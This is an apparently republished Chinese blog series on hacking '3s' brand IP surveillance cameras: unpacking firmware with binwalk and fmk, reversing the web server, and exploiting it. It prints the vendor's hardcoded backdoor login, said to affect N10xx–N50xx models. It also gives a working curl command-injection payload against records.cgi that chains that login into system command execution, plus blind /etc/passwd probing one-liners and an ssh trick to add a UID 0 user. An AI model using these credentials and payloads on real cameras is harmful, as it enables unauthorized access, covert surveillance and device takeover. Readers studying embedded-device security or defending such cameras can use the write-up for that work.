一直以来,hacking题材的电影都非常炫酷,黑客们入侵大楼在键盘上噼里啪啦,不多时就如入无人之境,分分钟黑下大楼的所有系统,其中,对监控摄像头的hacking描写也很多,这次我们就来“意淫”一下,入侵大楼时,hacking监控摄像(文中案例都是我编的,请勿对号入座)

3601001255

Embedded devices hacking --IPCAM hacking1

 

binwalk和fmk学习

IPCAM_hacking_1

这样,会把gzip的文件保存到本地以.gzip命名也可以用binwalk自动化递归提取binwalk xxx.bin -eM

之后iou就可以通过解包等行为分析我们提取出来的文件了,不过,在一些简单的分析情况下,我们这样识别,分析,提取,过滤,解包,有些繁杂,此时就可以用fmk来帮我们很快的完成这些工作
p.s. 除了通过binwalk的内置函数进行提取,我们还可以通过dd命令来提取文件
dd if=xxx.bin bs=1 skip=[***] count=[***] of=outfilename

通过svn安装fmk,我们来认识一下这个套件用到的东西

IPCAM_hacking_2

extract-firmware.sh使用来解包固件
build-firmware.sh使用来重新封包
check_for_upgrade.sh用来检查更新
unsquashfs_all.sh使用来解包提取出来的squashfs文件

./extract-firmware.sh xxx.bin

 

可以很方便的帮我们提取文件

IPCAM_hacking_3

之后,我们可以在当前目录的fmk下找到提取出来的文件

logs目录下还给我们提供了binwalk的log

IPCAM_hacking_4

rootfs下就是固件解包提取的文件了

 

IPCAM hacking

网络摄像头hacking其实和其他嵌入式设备hacking类似,尤其和各种路由器的玩法相似,我们此处简要以一个运用非常广泛的网络摄像头为例,3s的摄像头,在分析中,我发现了其厂商自带的后门以及一个RCE,篇幅所限,第一篇笔记我们只提到后门(其实就是懒,不想码字...)

通过上述过程解包提取文件,在/home/3s/bin/ 下,找到了他的webservice-httpd,在/home/3s/www/ 下是他的源码

将httpd丢入IDA
很快看到有奇怪的东西乱入了...system.anonymousptz....why are u so diao

IPCAM_hacking_5

官方后门get,shodan上搜一搜发现在今年上半年已经有老外发过了,但是貌似这个后门至今3s公司依旧在其他的摄像头型号里使用...给跪

IPCAM_hacking_14

user:3sadmin
password:27988303

影响所有N10xx到N50xx型号的摄像头

留一笔下篇笔记写这批型号摄像头的Remote Command Execution

Embedded devices hacking --IPCAM hacking2

紧接着上次的讲,我们通过ida分析N5071的webserver后发现了他至今使用的官方后门,已经可以通过后门未授权通过web访问IPCAM进行研(偷)究(窥)了,但是作为一名hacker,这还不够酷,在分析的过程中,我还发现了影响其N产品的一个远程命令执行,虽是第一次做binary分析,但是很有趣,仅以此文做学习嵌入式设备hacking的记录

function calls to the evil

在N5071的代码中,有很多诸如sprintf strcpy的不安全函数调用,当我们配合之前提到的后门时,那影响就是一片一片的~

这个系列产品是可以支持管理本地文件存储的,在webserver中,有records.cgi控制

records.cgi使用来做删除操作,会先交由函数do_records检查是否存在文件

IPCAM_hacking_6

IPCAM_hacking_11

 

 

如果文件存在,那么就会抛给sprintf去做字符串格式化然后执行rm命令删除,如图:

IPCAM_hacking_7

 

那么,问题就来了,上学老师就告诉过,sprintf要不得,一点过滤都没有而且这里还是用的system function
(web狗表示这里能够搞定很开心~)

所以,我们可以利用官方那个后门访问records.cgi,构造payload来进行命令注入从而执行系统命令

curl -d "user=3sadmin&password=27988303" http://*.*.*.*/records.cgi?action=remove&storage=sd&filename=test`commands`

 

exploit

 

IPCAM_hacking_8

执行poweroff后~

IPCAM_hacking_9

IPCAM_hacking_10

 

Embedded devices hacking_3

 

一直以来,hacking题材的电影都非常炫酷,黑客们入侵大楼在键盘上噼里啪啦,不多时就如入无人之境,分分钟黑下大楼的所有系统,其中,对监控摄像头的hacking描写也很多,这次我们就来“意淫”一下,入侵大楼时,hacking监控摄像(文中案例都是我编的,请勿对号入座)

 

IPCAM&&videorecorders

IPCAM_hacking_12

IPCAM_hacking_13

如上图,管理界面可以分屏查看当前在线的所有cam画面

从简易到拓扑我们可以看到,在整个系统中manage server用作管理下属cam,通常有web ui,管理还可通过自己的设备接入进行管理操作,管理的日志和数据存放在数据库中,说明是有数据查询交互的,DVR录像机的画面数据也会存放在server中,而ipcam则会实时传输,也就是说,我们hacking的入手点,可以放在DVR,IPCAM,manager的web方向

也就是说,我们可以通过:

web ui(manager server) -->HTTP(apache。。。) -->OS(system)-->Hardware(DVR&&IPCAM)

 

OR

Hardware(DVR&&IPCAM) -->OS(system)-->HTTP(apache。。。) -->web ui(manager server)

 

一个是通过上层到底层,另一个则直接通过IPCAM或DVR的固件问题直接hacking

 

some tricks

$ if test `sed -n '/^root/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
fi 
1 
// 检测root,下面是一些更好的方式。 
$ if test `sed -n '/^r/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
fi 
1 
$ if test `sed -n '/^ro/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
fi
1 
$ if test `sed -n '/^roo/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
fi 
1 
$ if test `sed -n '/^root/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
fi 
1

 

    ssh给我们提供了一个可以按照配置预期执行命令的功能,在$HOME/.ssh/ config中进行配置,我们可以达到这样的效果,我们在配置文件中预期执行添加一个新的root用户,UID为0且无限制执行命令,以此来逃逸网络设备的限制问题

 

【原文:Embedded devices hacking --IPCAM hacking1 part2 part3 author : redrain  SP小编整理发布】

 

源链接

Hacking more

...